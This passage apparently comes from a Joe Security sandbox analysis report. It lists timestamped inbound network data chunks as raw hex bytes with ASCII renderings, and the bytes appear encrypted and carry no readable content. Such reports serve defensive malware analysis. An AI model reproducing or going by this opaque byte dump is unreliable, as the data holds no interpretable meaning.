2022-04-25 17:44:43 UTC 17 IN Data Raw: 5e 87 23 f3 d3 48 f8 f3 b7 46 8d 12 da 46 7d 7a 30 1c 9b 66 8f e4 a4 aa 42 e2 52 db ec be 46 07 b9 55 ac 38 6e 64 6b cb 79 d8 17 69 57 df 6a 84 3a cf d8 9a 4d 69 d2 82 89 67 00 50 64 08 d4 9b 06 1a 12 7f 65 81 a9 ef a0 dd 08 cf e6 51 3f 03 55 70 24 ac 48 c1 09 27 41 09 94 8b 03 b5 6f 26 f9 94 c4 3f 79 7a 7f fa ff e1 2a 0d f6 fe 40 48 10 4b 1f 17 91 1c 99 6c 3b 9f 9b 2e ae b1 a9 1a 59 ca 6c 65 83 90 a7 6d 2c d5 58 2f 27 76 6e 7d d5 29 b7 fb c5 c4 bb d6 7c ae e5 d8 5e 25 7f 1e 82 2e 42 30 9f 12 0f 61 6f 74 1a c8 27 32 23 18 0a 6c 5f b6 96 c9 3f f7 3c c0 26 b0 32 08 63 9f aa ae 86 c6 d9 d2 35 fd 6e 6f c7 2b 10 aa 50 58 14 ba a5 7f 6b 29 23 18 74 cd 1f bb 00 3f de ba 6c ce ec 59 85 0e 65 25 e6 0f 83 a7 ed 7d 73 ec 2a b5 64 2c 15 bd 62 e2 d1 3f cc f0 a6 1c 1c Data Ascii: ^#HFF}z0fBRFU8ndkyiWj:MigPdeQ?Up$H'Ao&?yz*@HKl;.Ylem,X/'vn})|^%.B0aot'2#l_?<&2c5no+PXk)#t?lYe%}s*d,b?

2022-04-25 17:44:43 UTC 19 IN Data Raw: ae c9 24 dd 96 29 a7 98 b7 27 90 da 06 a6 2b 2b 8d c8 63 c7 bf ae bc 71 9e 38 e8 f1 e9 97 86 39 f6 30 cd 0f 79 94 e8 7a d6 f7 00 b1 43 b7 ca 2a 3b 01 6b 6b ba 74 b5 20 16 34 fc df ee 68 dd 0b eb 5f 2d ca 67 4e e2 f1 6c 00 d0 8d 4e 9a ec ca 66 85 12 eb 28 e1 5a ca 14 10 5c df 13 68 d7 ab 87 e5 ef 1e ca 59 f8 c4 63 b2 42 85 28 37 66 58 83 08 77 29 0a c1 28 5b 70 97 1d a0 b5 4d 46 5c f8 14 fd 51 87 3a bc a5 69 c6 0e 19 fa db 67 8b b5 4d fe 64 cc 40 e2 83 d9 87 7e e0 30 3b 6e 48 1e 74 a5 22 02 27 4e 0c 4e 4e a2 d6 e8 d8 91 e3 58 6e 83 d4 d6 ba b2 56 03 76 6d 4e dd 53 8c 8e 10 c8 64 21 7e b6 68 25 ce 84 08 b0 e3 00 ea 9f a5 97 31 91 15 6a 51 e0 5b 97 8f 4a 37 13 18 0a a3 31 79 ec 7a 0b d9 0c 8d 6c 06 62 5a 05 f6 2c a3 1d a3 70 c0 bf b1 1a 62 5b a1 3e 97 c5 70 Data Ascii: $)'++cq890yzC*;kkt 4h_-gNlNf(Z\hYcB(7fXw)([pMF\Q:igMd@~0;nHt"'NNNXnVvmNSd!~h%1jQ[J71yzlbZ,pb[>p

2022-04-25 17:44:43 UTC 20 IN Data Raw: 88 b9 7f ab a0 bf d7 ed c6 6c 67 af 84 58 be d1 1c 42 3e 3f 1c 46 83 d4 04 99 dc d1 ec b8 11 83 51 ce b7 03 36 4f 17 5e 27 a6 30 9f 29 1c 6c 56 98 16 f0 46 3f 32 15 02 74 40 60 b4 e5 25 83 7e 28 26 b4 57 00 bc 93 b1 dd 8d c1 c8 db 5d 3a 01 ae cd f7 0b 81 0c 30 fe ba ac 6e 86 20 1e 1a 6a 88 ea b6 00 3c a8 ae 6d e2 e2 61 ae 3f 13 34 fc 77 db a6 c1 75 1f 9a 2a bc 7d c1 1a 80 62 9b 44 18 cc fa 8e f6 ba 31 1b 16 a2 d9 47 8b 59 c7 1c 7b 72 cc 57 71 35 10 38 a7 3a c1 95 09 28 ae e2 41 e2 53 3b 05 c4 0c 45 80 40 39 b0 77 22 63 83 9f 49 df 4b 75 80 a4 d7 c2 9c 78 32 fb 3e 4e fe 88 d2 f9 10 c9 8e 07 7e e0 d0 5c fc c8 b1 d3 98 aa 9e 3a d0 9a d0 f2 3e 6b d7 1b 08 8c 68 3d 9b 3f 08 e3 92 6d 21 3d 45 fe c6 7a e6 d0 e6 4b 03 56 b6 79 cb e8 69 b6 c6 b6 7c db 3b 7a 41 c9 Data Ascii: lgXB>?FQ6O^'0)lVF?2t@`%~(&W]:0n j<ma?4wu*}bD1GY{rWq58:(AS;E@9w"cIKux2>N~\:>kh=?m!=EzKVyi|;zA

2022-04-25 17:44:43 UTC 21 IN Data Raw: d9 14 a0 b1 5d ee 7b fa 14 ff 6d 24 08 bc af ed e5 0e 19 ed 36 d8 88 92 4d fc 7b 96 73 fb ec c6 8c 55 ff 18 2b 7b b6 19 70 84 3a 09 2d c9 13 b0 4f 8a 09 60 d0 91 e4 42 8f f0 cb cd ef b9 7d e0 0c 69 56 df 57 a0 a6 20 f8 66 2b 75 bf 6825 e6 59 89 a2 f5 0b d0 fe d6 a4 28 ef 1b 73 af e5 5f 87 f3 66 31 3b 3f 26 82 21 f2 e5 7d 1c 23 d0 c2 6d 1e 69 58 1d 9f e1 bb 4f a2 76 e8 f5 99 00 66 45 ac 16 b3 de 8e f3 bf 35 46 c0 6c b5 1f f6 4d 26 5f a5 39 c5 e5 ee 55 03 c2 28 bb 85 19 4b 13 59 bb 53 cb 88 b3 b2 bc c6 fc 81 3f d5 57 59 b8 0d 13 75 91 33 83 9d 90 4a fa 3c ee bf 85 5b db 96 82 86 18 6f 64 1f 0e 80 5c fa 8f a1 9a 0f 21 51 9b bb 7b 3f 02 7c 32 c4 a8 1d 94 7a bb 0f d7 d9 3c 39 75 da e3 37 85 d9 58 90 ac eb ab 7b e0 9e ac 57 9f 00 da 86 7d 7a 30 96 a9 74 9b fa Data Ascii: ]{m$6M{sU+{p:-O`B}iVW f+uh%Y(s_f1;?&!}#miXOvfE5FlM&_9U(KYS?WYu3J<[od\!Q{?|2z<9u7X{W}z0t

2022-04-25 17:44:43 UTC 23 IN Data Raw: d4 3e 1b ac 59 8d 3a 2e da e9 8d 40 9c 27 c1 1a a9 d1 4d 92 ae d0 ce 7f 5a c2 5a 6f 32 19 35 5e 2c 13 96 0e 29 9d 66 41 f5 94 37 1d c5 c3 d2 ba 63 01 c0 65 12 60 9c 33 5a d8 4b 56 87 b8 38 d5 a3 75 74 47 3e 4e fa 85 de ee 0f 37 9e 2c 70 60 fe 70 f5 c5 a0 62 99 aa 94 4b c1 9c d0 e9 33 6d cf e1 09 b1 75 22 45 3b 25 e0 8a 56 35 3c 54 f0 f4 90 e6 fc e9 59 47 4c a5 7d d4 f5 7e aa 38 a6 57 df 31 eb 45 e4 b3 df e4 da f6 2e 2e 75 9a 8c 22 16 6b e9 fb ba 7f 11 be c6 86 c5 d7 79 a0 f9 32 1b 53 37 d1 d9 c2 a0 57 31 c6 5f 7b 2a db 71 b9 4e ce e6 f2 a7 1e 55 1c a2 05 47 e3 b8 58 d4 ca 3b 06 dc 47 dd 10 74 d1 b9 5d 5d 98 dd 2b 95 af 51 cc 8f 30 e3 b2 1f 9f fd e7 2f 50 fe c6 2b f9 42 87 68 54 41 93 c1 b3 97 ce 24 cc d0 2a a9 66 b4 0b a8 cb b9 a3 2c a7 95 ca 63 c5 12 b9 Data Ascii: >Y:.@'MZZo25^,)fA7ce`3ZKV8utG>N7,p`pbK3mu"E;%V5<TYGL}~8W1E..u"ky2S7W1_{*qNUGX;Gt]]+Q0/P+BhTA$*f,c

2022-04-25 17:44:43 UTC 24 IN Data Raw: a9 0b a0 f1 b1 1e 4e 0f a8 16 8f df 8e f3 3d 4f 66 c1 68 62 35 d4 4c 26 57 90 06 f4 fe ff 7e 02 c2 26 bb fb 1b 4b 13 0c d1 53 cb 86 19 f5 be a9 da 5d 18 dc 55 22 f3 12 65 42 a0 2b 8a 9d 96 68 f8 20 ec bf 90 43 fc 96 c7 8d 98 66 5e 1f 0a 4c 43 f5 b7 99 99 10 56 62 8a da 7b c1 03 54 0c da 82 3e 93 52 92 0d ac 9a bc 30 71 f2 f3 eb 6e d1 74 c6 b1 fe df 48 f1 f8 5b 56 b3 2f f1 b0 5b 7b 36 b4 aa 7c 98 f0 b0 db 9f e4 52 d1 c4 d1 46 07 b3 f0 a0 2e 7d d9 7a c7 6d 46 cb 6b 57 6f 72 09 3d 75 27 64 a1 62 cf 90 97 58 20 53 48 0c 6e 86 14 05 25 8e 9a 80 83 45 89 51 1c db f2 66 ab 0f 55 72 13 07 b6 c0 2f 14 48 5a 32 8b 03 bb 40 13 cc 9e d5 31 4b 45 4d f0 ec ef 38 29 fb a0 42 42 3e 04 b1 17 97 30 ae c6 37 9f 99 26 55 a1 95 70 f4 e6 65 73 b5 7a 51 8f 2d 0a 62 1e 35 78 1e Data Ascii: N=Ofhb5L&W~&KS]U"eB+h Cf^LCVb{T>R0qntH[V/[{6|RF.}zmFkWor=u'dbX SHn%EQfUr/HZ2@1KEM8)BB>07&UpeszQ-b5x

2022-04-25 17:44:43 UTC 25 IN Data Raw: 7d ca d1 40 ad 38 bd 8e 09 1d 26 44 c2 38 89 e2 db f6 20 47 75 94 87 1d 14 43 d6 fc a0 8b 3a 92 d2 9e e5 d7 79 a0 f9 1a b8 9b 37 d7 42 d6 a1 57 20 db cd 60 5b dc 71 a8 08 d5 18 e2 a3 0f 5d 3c a0 6b 72 e2 90 42 d7 e2 07 2f c8 4c b2 2d 59 dd af 59 d7 c2 cc 2c 8b a8 a6 db bc 2b 76 9b 71 a6 fc e7 0d 4b fc d0 10 d9 51 85 7f 84 f6 39 00 94 87 df 0b d1 d0 32 29 2f b6 f1 87 00 25 ac f5 37 ac 30 62 c7 7b a6 62 65 aa 10 c5 f1 e9 9d 8a 11 1f 01 ce 09 33 bc c6 7a de fd de a0 53 96 e1 31 3a 16 7c 95 bb 58 b7 38 51 78 fb dd 0d 69 f1 08 e7 64 2e cd 53 b0 e3 dd 71 2b d2 b7 af 9a d2 f0 e9 32 30 14 3f 37 ca e9 5a 16 74 e0 6c 5a dd bd 17 80 7b 0c e2 7e 97 17 69 9a b2 ae 5e 42 25 70 ad 0e 5f 63 d4 c1 28 65 f1 b7 1d a0 b1 59 c6 6d e0 0c f9 57 1a 08 bc a4 76 dc 0d 19 28 eb 65 Data Ascii: }@8&D8 GuC:y7BW `[q]<krB/L-YY,+vqKQ92)/%70b{be3zS1:|X8Qxid.Sq+20?7ZtlZ{~i^B%p_c(eYmWv(e

2022-04-25 17:44:43 UTC 26 IN Data Raw: 10 9e 04 f8 b0 9d 7a 36 b4 a2 b8 9b f0 ba b8 ad 1d ad 2e db a5 55 0c b3 57 ab 31 76 91 7b eb 7c f6 dc e7 06 d9 72 08 15 37 d8 9b 54 71 dc 9c 8c 44 de 43 6f 11 7b 74 15 21 27 87 75 85 87 ae b1 cf 16 d9 f4 51 44 03 55 70 63 34 49 c1 09 5a 0e 20 7b 81 1c b1 50 30 e8 8e de 2d b6 6c 42 f2 fb f6 30 01 cf aa 5d 58 e8 62 9d 15 ba 13 89 c9 c5 60 6e 3f 81 b3 89 77 f3 4a 6c 6f b9 3f 59 92 c2 1d 43 06 5c 03 57 7d d5 21 82 09 d5 f8 ca f9 70 b4 e9 b7 0a 3f 81 15 72 59 8d 6d 84 15 1c 65 5b 70 1a e4 27 39 3a 8f 28 60 57 9e bc d1 c1 fc 7f 20 0e f8 39 05 b7 99 a2 ae aa c8 df 21 5b 8c 6c 77 c0 f7 08 b6 b8 2a df ad a3 7d e2 4e 7b 1f 7d a8 f4 d4 4a 34 b1 5a 44 85 e7 4a 9c 09 08 28 f8 60 2c b1 13 76 2b 95 3d b8 65 36 06 52 6d a1 38 14 ce d1 19 70 1a f0 cd 12 af 4e fd b9 9b c5 Data Ascii: z6.UW1v{|r7TqDCo{t!'uQDUpc4IZ {P0-lB0]Xb`n?wJlo?YC\W}!p?rYme[p'9:(`W 9![lw*}N{}J4ZDJ(`,v+=e6Rm8pN

2022-04-25 17:44:43 UTC 28 IN Data Raw: 2e 8c 24 be 8a 2f 00 9d d7 6e c7 74 b1 42 70 a3 31 e0 f2 94 d8 86 39 e1 1e c3 0f 30 8a 16 7b f2 fd 08 a2 28 f1 e1 31 3f 19 75 98 bb 51 ad c6 1c 18 f1 ca 38 88 f1 09 f6 78 fa d6 72 b0 ea ca 90 2a fe a4 b5 94 fa c0 fe cc 3b 3d 2a f6 5d e2 54 0d 55 27 6c 76 d5 80 88 b2 cf e1 35 ac 9f 3d 63 a1 78 ad 5e e8 2f 58 83 45 5f 69 1b d7 22 77 6e a7 1d a0 b1 51 df 93 f9 38 f3 46 2f e9 bc a5 67 c0 07 03 e5 eb 6d 97 6c 4c d2 6d e0 43 9f dd cf 8c 51 e6 3c 3c 71 a8 e1 59 8b 30 0e 3f 34 48 b0 4f 8a cb f6 df 91 ec 57 6e 83 d4 d6 89 bc 7d e8 12 bf 4f f1 5a a1 f0 31 f8 66 2b 88 f9 68 25 e6 9f 04 a1 fd 10 2c e0 89 93 1a bb 0e 7f af e9 68 97 0f 67 1b 19 1b 22 ff 78 72 ec 79 03 2d 01 a1 66 06 97 5b 2e e3 a1 27 31 ab 70 e3 e8 bd 1a 6c 58 54 3f bc d7 89 fb 42 72 46 c0 6c 76 56 f5 Data Ascii: .$/ntBp190{(1?uQ8xr*;=*]TU'lv5=cx^/XE_i"wnQ8F/gmlLmCQ<<qY0?4HOWn}OZ1f+h%,hg"xry-f[.'1plXT?BrFlvV

TimestampkBytestransferred

Direction Data

Copyright Joe Security LLC 2022 Page 29 of 50

2022-04-25 17:44:43 UTC 29 IN Data Raw: 1d 6e b9 7a 46 86 c0 0e 4e 2f 32 1d a9 7c f9 21 a3 93 2b 2b 31 f0 75 bd e1 b7 12 20 66 ea 5f 71 b6 32 e4 56 1c 6c 43 e1 44 c9 21 35 8a 1f 18 6e 5f 9e a4 cc 20 e9 ad 29 0a bf 3a 7e f3 93 bb a7 c5 bb c8 df 50 bf 7b 7c c8 f7 10 a8 59 39 0d bb 89 7a 7a 5a 7c 1e 7d a6 cf a3 01 35 b1 4f 7f dd e3 4a 87 20 03 ca f4 4c 31 b1 ef 0c 4b 97 2a b1 0a 56 1a ac 66 9a e0 2c c8 f6 94 6b 08 26 d0 1f b5 3e 4b a7 4d d3 99 34 5e ce 44 7e 4e 49 24 59 3f fb 95 59 7a 85 75 42 7b 32 5f 76 cc 3d d9 8b 79 3c b0 75 17 7f 8a c7 48 f3 5b 45 fb ea c6 d4 8b 13 55 75 3e 44 f3 97 c9 ee 0d 37 9e 2e 72 8e 01 5d d0 ca b2 a3 87 bb 87 50 d2 8a d5 e7 22 8c c5 33 03 9f 78 57 2b 3e 24 e4 95 69 36 38 54 eb d9 9b ed 02 e2 4c 7d 4f a7 06 87 f9 6d a9 30 d8 3a c1 3d 1f 2b 53 b8 a1 d6 c5 fd 39 38 73 94 Data Ascii: nzFN/2|!++1u f_q2VlCD!5n_ ):~P{|Y9zzZ|}5OJ L1K*Vf,k&>KM4^D~NI$Y?YzuB{2_v=y<uH[EUu>D7.r]P"3xW+>$i68TL}Om0:=+S98s

2022-04-25 17:44:43 UTC 30 IN Data Raw: b7 45 07 0c b1 8e 76 ef 75 40 e9 eb 61 95 a1 5d fc 1f a9 40 e2 96 d9 9b 26 88 31 3c 73 bb 34 5a b1 10 29 d8 b6 1a b0 c2 a1 d4 ff d2 9b e6 3b de 82 f8 d0 92 cb 23 e0 08 45 58 b2 25 a7 8e 09 de 65 5a ae b6 68 21 e9 af 2e a8 f3 1d d5 e7 2b 20 5b b9 66 72 af eb c0 f1 cc 67 37 19 0f 23 86 2d 64 fd 78 73 53 0d a1 64 19 78 5f ba 85 08 a9 36 bd 1c d8 24 b5 75 1e 45 aa 34 93 a5 d7 f9 3f 38 58 f3 6e 61 35 6b 4d 26 57 ad 66 f6 e7 a0 5f 03 ed 2c 93 9e 4d 4b 15 60 eb fc cb 82 39 b7 be c5 f0 33 8d d6 57 5f 96 1e 61 4e e7 05 8a 9d 9a 1f c5 2b 32 ae 87 67 a9 80 89 52 92 6e 48 19 02 32 08 f9 8f ab 44 17 7c 62 83 d5 72 3f 00 78 1c d9 b7 3e 92 58 98 0f d7 d3 a7 00 70 da e1 eb 6e db 0f 90 ae e5 d1 18 82 ae a5 57 9b 71 52 98 7f 7b 1b b5 a2 8e 9a f0 b6 f1 86 e3 52 db be ad 16 Data Ascii: Evu@a]@&1<s4Z);#EX%eZh!.+ [frg7#-dxsSdx_6$uE4?8Xna5kM&Wf_,MK`93W_aN+2gRnH2D|br?x>XpnWqR{R

2022-04-25 17:44:43 UTC 31 IN Data Raw: 81 8b 78 07 30 d9 75 dd c0 4a 81 4f c2 f1 7c 5e df 46 63 25 e7 25 75 19 ef ec 6c 2a 85 71 44 f6 fe 51 02 cc 39 bc 09 6a 39 b6 4c 6e 61 83 33 5f c5 24 33 80 a4 cc cb 9e 6f 0c 74 2f 48 e8 76 c2 d1 0b 20 9c 2d 6d 8f f9 43 eb 32 98 03 9a 81 91 6d 5d 66 2f 07 1e 72 c4 0c 38 99 6c 9f 66 3e 24 ba 8a 7e 34 2b 47 fc e4 23 e4 fc e3 60 7a 4b ba 71 35 f8 41 a4 00 21 50 c0 3d 0a 49 db be a1 c1 dc e9 3c c3 72 a9 9b 33 6a 25 f8 fc a4 87 9e 25 65 a6 9e d6 78 aa ef 02 64 26 37 db fb c9 b6 44 3d eb d8 66 26 cb 8f a9 65 c2 1a 88 c5 0b 5d 38 b0 2c 3c e2 90 42 c3 d2 5e 5a c8 46 d7 05 40 ce a3 4e 4b 9e d0 d2 8b 89 bf c5 a0 5d b1 92 1e 9a 92 b5 07 40 f5 cd 3c c2 50 86 79 58 73 27 20 b9 a8 d3 26 a6 99 35 a7 9c b2 a9 27 6c 97 dd 2a 2b 8e dc 7b a8 09 ac bc 7b 90 2d fb f7 e9 86 80 Data Ascii: x0uJO|^Fc%%ul*qDQ9j9Lna3_$3ot/Hv -mC2m]f/r8lf>$~4+G#`zKq5A!P=I<r3j%%exd&7D=f&e]8,<B^ZF@NK]@<PyXs' &5'l*+{{-

2022-04-25 17:44:44 UTC 33 IN Data Raw: 3e 9a c8 94 96 4b 3c 46 ca 77 7a 49 f1 4d 37 59 a1 b2 f7 d0 88 5e 78 8c 2c 93 9a 04 67 7f 59 e5 52 cb 88 25 a5 d3 b2 f8 5c 12 ca 44 5d ba 03 61 59 83 b3 8b b1 b9 4c a9 6e ec bf 87 71 83 da 82 8c 9c 09 0d 1e 0a 57 3f fb f4 f0 98 10 52 b4 aa b8 73 3f 08 6e 04 b6 de 1d 92 58 87 03 c4 d7 bc 21 71 c5 fd 14 6f f7 4c 92 d5 ba d3 48 fd e7 b3 50 11 b3 9d ec 7f 7a 3c a1 91 67 9f f0 a1 86 cd 1c 53 fd c7 b7 55 03 b3 57 a4 31 72 91 7b eb 7a f2 b0 25 57 d9 76 1f 15 b3 d9 9b 54 6d d9 ff eb 4f de 58 7b 1e 65 8e 14 1c 3e 9a 7d 7f ae 61 ab cd 67 95 f2 79 a3 04 db cd ba 23 33 c0 03 3f 5c 39 14 ff 03 bf 49 24 f2 8c d1 3b 59 69 71 e9 12 e4 17 7f dc da 0c 48 16 67 ae 1b 1c 39 b1 cb 3a 92 98 2b 8b 5f b9 75 f3 56 65 78 99 85 59 92 d3 97 47 26 17 fc 57 7d d5 b4 92 ee f4 2b ce ef Data Ascii: >K<FwzIM7Y^x,gYR%\D]aYLnqW?Rs?nX!qoLHPz<gSUW1r{z%WvTmOX{e>}agy#3?\9I$;YiqHg9:+_uVexYG&W}+

2022-04-25 17:44:44 UTC 33 IN Data Raw: 68 b2 00 4e 59 3b 25 36 41 18 cb 00 8e d4 fb bc c3 e4 40 9a 89 e7 c3 82 b4 7d f1 0c 5e 47 23 56 8a 99 01 83 28 21 f5 b2 7e 0d 9e 85 08 ab e3 11 bd 95 a5 97 3b 8e 18 60 ab e1 66 9a e7 98 36 3f 1f 31 91 2f 72 fd 79 03 3c f3 a0 42 1c 42 5f 3a db 2e 5d ce 81 76 e8 f1 a2 2a 61 45 e5 3d 90 de d3 f9 3f 2d 50 d3 60 50 1b f6 4d 26 5d ab 44 e9 ea 6e 5d 2f d3 2f c3 e5 42 4b 15 75 86 13 62 82 33 bb a3 d1 eb 54 18 c7 5f 46 b3 ec 64 6a 9a 4f f1 d3 90 4e d6 37 fb cc f0 72 f8 9c 8e 93 92 75 6c 1f 1b 55 4a da 71 a0 b4 1c 54 61 86 aa ec 3f 02 7e 05 fd b9 15 92 43 90 10 f6 2d bd 1c 65 d8 9c a4 6e db 5c 99 c1 74 d2 48 f3 ff 87 44 97 04 e3 90 60 74 c8 bf a6 79 93 f6 a6 85 b5 96 52 d1 ce b0 49 14 bb 46 b1 26 62 63 84 c6 41 fb da 6e 50 61 a5 1a 38 d0 d5 88 56 7b d2 98 82 b1 df Data Ascii: hNY;%6A@}^G#V(!~;`f6?1/ry<BB_:.]v*aE=?-P`PM&]Dn]//BKub3T_FdjON7rulUJqTa?~C-en\tHD`tyRIF&bcAnPa8V{

2022-04-25 17:44:44 UTC 35 IN Data Raw: 8f 6e 55 fd 85 21 0a d1 c3 d2 ba 66 3a af 7b 4d 78 5a bd 5a d9 55 54 88 a4 d7 dc 90 77 f4 75 12 45 d6 c3 c3 fd 02 24 8a 34 61 8d f7 5c ed c4 87 d1 99 86 9d 44 d6 8d fe 10 2b 7b d7 17 08 8c 64 3c 9b 3f 08 e3 9d 6d 2d 3d 45 f2 c3 8a 19 fd cf 62 40 48 9d 9d 35 06 92 bc 3d 9d 50 d3 0d 16 44 75 b9 a1 d0 85 f6 2a 2c 65 89 b9 9e 10 6b f8 fc a8 9e 1e 6c d2 a2 fe d4 04 c1 f9 1a 0f 7a bf da f1 dc 89 2a 3a eb c3 66 26 ec 1e 5a 49 d5 12 ec 84 07 5d 34 b9 08 b9 e2 bc 59 c2 e2 4a 2f c8 4c db 05 74 b2 57 4e 5a 92 d3 21 86 a5 a7 d2 b3 d8 ea be 05 9d 81 85 07 40 fb ee a9 d0 56 8c 40 23 6d 33 d4 be 9b 89 4b 2f d7 35 ad 87 a4 2b 90 d2 a1 58 2a 07 92 c9 18 9b 7d ac b8 59 f2 39 e8 fb ef 88 92 56 17 00 ce 05 26 9d e4 7a d6 eb fe a1 79 ad fe 29 13 7d 7d 95 b1 5e a8 32 72 c6 fb Data Ascii: nU!f:{MxZZUTwuE$4a\D+{d<?m-=Eb@H5=PDu*,eklz*:f&ZI]4YJ/LtWNZ!@V@#m3K/5+X*}Y9V&zy)}}^2r

2022-04-25 17:44:44 UTC 36 IN Data Raw: 05 15 71 9c 50 b0 db 33 bb b8 ee 83 5d 18 dc 41 41 d5 66 65 46 82 56 81 9d 97 52 2c 21 c0 a5 81 08 b6 96 82 88 9b 1d 04 1f 0a 59 7d 85 8e a1 92 06 4c 0d f6 c5 72 35 1f 73 1a de b3 e3 93 7e 8e 0d ac 9d bc 30 71 d9 9c b7 6e db 5c 8e c4 22 bc 37 f8 e0 af 4d 94 04 f5 87 76 84 37 92 85 76 e0 be b0 82 de e4 3d ae c5 af 4c 18 b9 4d a0 29 63 91 7b eb 4c f2 b0 25 57 d9 76 0b 3e b4 83 9b 5e 7f ac 0c 9f 4f d8 7a 18 0f 76 80 02 17 55 f1 64 81 a5 52 b8 c4 1c dc ea 87 a6 2f 5b 78 77 45 48 c1 07 5a 15 20 7b 81 09 a6 48 3b ef 84 2b 3a 64 7a 6c 8a a2 e5 3b 05 dd da 1f 48 16 67 ae 19 fb c0 de b4 3a 9f 9b 21 a0 a0 be 63 0d cb 40 6d ae 71 59 95 cc 01 b0 3f 1b 01 7c 78 ed cf 65 08 2b fe ce ef 7c bd d4 b3 03 a8 7f 14 5e 3f a6 30 8e 0e 0f 68 7f e1 1b c8 21 3f 23 11 19 83 5b b2 Data Ascii: qP3]AAfeFVR,!Y}Lr5s~0qn\"7Mv7v=LM)c{L%Wv>^OzvUdR/[xwEHZ {H;+:dzl;Hg:!c@mqY?|xe+|^?0h!?#[

2022-04-25 17:44:44 UTC 37 IN Data Raw: a0 fd 32 9e 53 37 d1 f3 d3 2f e0 46 52 c9 60 3d de 73 d3 f0 d5 18 f7 a3 9f 5c 3c ac 79 ff e3 90 4c ff ca 31 3d f8 44 dd 27 59 dd a5 2b 5a 98 dd 3a 99 a1 97 e2 a2 26 eb 92 0f 9a e5 19 06 6c eb c4 5a 63 56 86 6c 20 7d 32 de b2 ac d3 25 dd dd 3f be 8b b1 27 81 de a2 58 2a 07 8a c8 18 71 7d ac b8 59 19 39 e8 fb f7 84 82 39 f4 04 d5 f1 38 b8 fc 78 a5 41 00 a0 51 c2 f0 30 3b 0c 54 8f ba 58 bd 33 01 27 ff c9 01 6d ee 03 02 55 01 c2 7d cb 57 dd 6e 2f fa 30 ac 99 f0 d6 e3 21 3e 11 39 e5 4a 1c 5c 3e 52 db 16 e8 d7 ab 89 a2 33 1f ca 59 8c 04 67 b2 59 ab 41 4f d1 59 af 1b 5d 12 b2 c1 2e 4b 8e b6 1c a0 bb 71 dc 6c f8 1e f4 5a 0b 1b b8 a5 7c e8 11 14 17 ea 49 84 90 36 46 64 e7 44 ca 04 ce 8c 5f e4 3e 2f 7d b6 0e 5c bb c4 08 0b 4f 1d 9c 69 93 c7 fb d3 80 e0 57 6e 83 d4 Data Ascii: 2S7/FR`=s\<yL1=D'Y+Z:&lZcVl }2%?'X*q}Y998xAQ0;TX3'mU}Wn/0!>9J\>R3YgYAOY].KqlZ|I6FdD_>/}\OiWn

2022-04-25 17:44:44 UTC 39 IN Data Raw: 59 18 35 d8 49 8d 70 70 e3 92 9f 4f 5e 58 b9 12 77 8a 14 03 3e a9 4d 82 87 9c b1 cf 1a c2 c1 59 a9 07 56 15 d5 0b 48 c7 10 31 5b 25 56 8c 19 b5 9e c1 e8 9f d5 2a 4c 02 7b f1 ec ef c5 0a df a1 40 5f 15 4b 60 17 91 10 b2 cf 13 49 91 3d ad cf 61 75 f3 c0 4a 6d b1 15 82 92 d3 01 43 37 29 2c 5c 5d d0 28 9b 77 de 09 0d ef 7c ae ec a1 92 3e 51 1f 7e 58 a6 30 1f 12 c1 de 47 8e 1b c0 36 ae 2c 24 09 5d 5f 9e b5 49 35 20 f2 28 26 b0 30 12 2c 85 95 aa a2 d6 59 d5 87 32 6e 6f cd ff 19 3c 50 05 f8 9a a0 75 78 a1 38 c3 fc a2 f6 bb 08 2c 20 47 42 da ee 53 07 3c 30 3a fd 79 b4 bd c3 7f 27 92 2a b5 e5 35 c5 cb 64 94 ab 34 cb ed b9 75 04 39 cb 34 84 e0 4f 8b 50 51 e8 a4 0c c9 5a 4f 38 10 3b 4f 15 f1 b7 27 2a 85 f5 4c 2b c4 38 18 5d 2e d6 9f 77 28 b5 b2 3c 68 a3 3c 49 df cb Data Ascii: Y5IppO^Xw>MYVH1[%V*L{@_K`I=auJmC7),\](w|>Q~X0G6,$]_I5 (&0,Y2no<Pux8, GBS<0:y'*5d4u94OPQZO8;O'*L+8].w(<h<I

TimestampkBytestransferred

Direction Data

Copyright Joe Security LLC 2022 Page 30 of 50

2022-04-25 17:44:44 UTC 40 IN Data Raw: e3 1a 39 2d 9f 83 91 58 a4 08 1f 34 d3 c9 10 69 f7 09 fc 45 3b c6 54 ab e3 da 79 d5 d3 8a af 81 f1 c9 ef 24 c4 10 04 e3 47 e9 5d 15 44 27 6c 76 d5 80 8f a1 46 1c b1 94 97 17 67 98 6a ad 5d 39 e8 58 83 0a 75 69 0a c1 3d 7f f2 a7 35 a0 b1 59 b7 6d f8 05 ef 4e 2c 13 bc a2 7a 12 0f 35 eb f3 6e 8b 95 5b 00 65 cb 42 f5 99 cf 8b 4d 05 31 10 7b 9d 1d 73 44 38 72 ef 49 1a b4 65 ac d6 fc ae 59 e4 40 94 a8 f8 d4 91 a3 4d e5 08 5b 4e dd 57 d4 8e 03 e9 64 36 78 98 68 25 e0 8e 0e b7 f6 0f a1 0c a5 97 37 33 14 76 87 05 77 9e f7 4c 37 13 0f 16 85 2b 6c ec 7d 1c 55 0d a1 7f 1c 7e d7 2c eb d2 a0 3b ad 60 eb f5 b4 14 60 36 44 3e 90 d8 2c ff 31 39 6e 24 68 68 5c df 4d 26 4e 8a 4f f6 42 90 5c 03 c2 2c 93 9e 19 63 02 71 98 59 c9 94 4e 77 bc c6 fc 5e 0e ab 9a 59 ba 16 67 45 f5 Data Ascii: 9-X4iE;Ty$G]D'lvFgj]9Xui=5YmN,z5n[eBM1{sD8rIeY@M[NWd6xh%73vwL7+l}U~,;``6D>,19n$hh\M&NOB\,cqYNw^YgE

2022-04-25 17:44:44 UTC 41 IN Data Raw: 5b 45 8e 1b e6 21 3f 32 08 02 7d 5b 9c b5 c9 3f e9 53 28 26 e1 3a 05 bd f6 b9 a3 aa dd c8 df 5a a0 6e 6f cd ec 31 a5 46 2d f7 ba a5 00 78 21 23 1d 69 f3 f2 ae 54 30 a5 01 62 ca f0 18 98 20 0a 65 e1 6b 27 b5 ec 79 01 bf c2 b5 65 39 36 ae 7a a7 49 68 cc fa 80 72 0a 31 4c 40 a9 c0 4b 98 43 c0 f1 6c 41 c4 dd 6d 26 76 1c 58 3b e7 84 37 3c 96 61 6d bc 94 25 13 d8 a7 c0 90 7b 3f a7 e9 48 60 83 38 5a c9 5a 51 96 bb cb 49 9e 6a 65 db 3f 4e f4 e7 c4 fc 08 3d 99 1a 70 98 ee 5a eb 41 c3 2f 98 ab 87 42 c3 8c c6 e7 39 ef d5 08 67 32 6d 2a 6f 51 7f e0 8a 74 34 29 43 2c cf 90 f6 e8 f2 75 e5 fa 97 d2 cd ef 02 1d 39 b7 5a d7 b0 4f 44 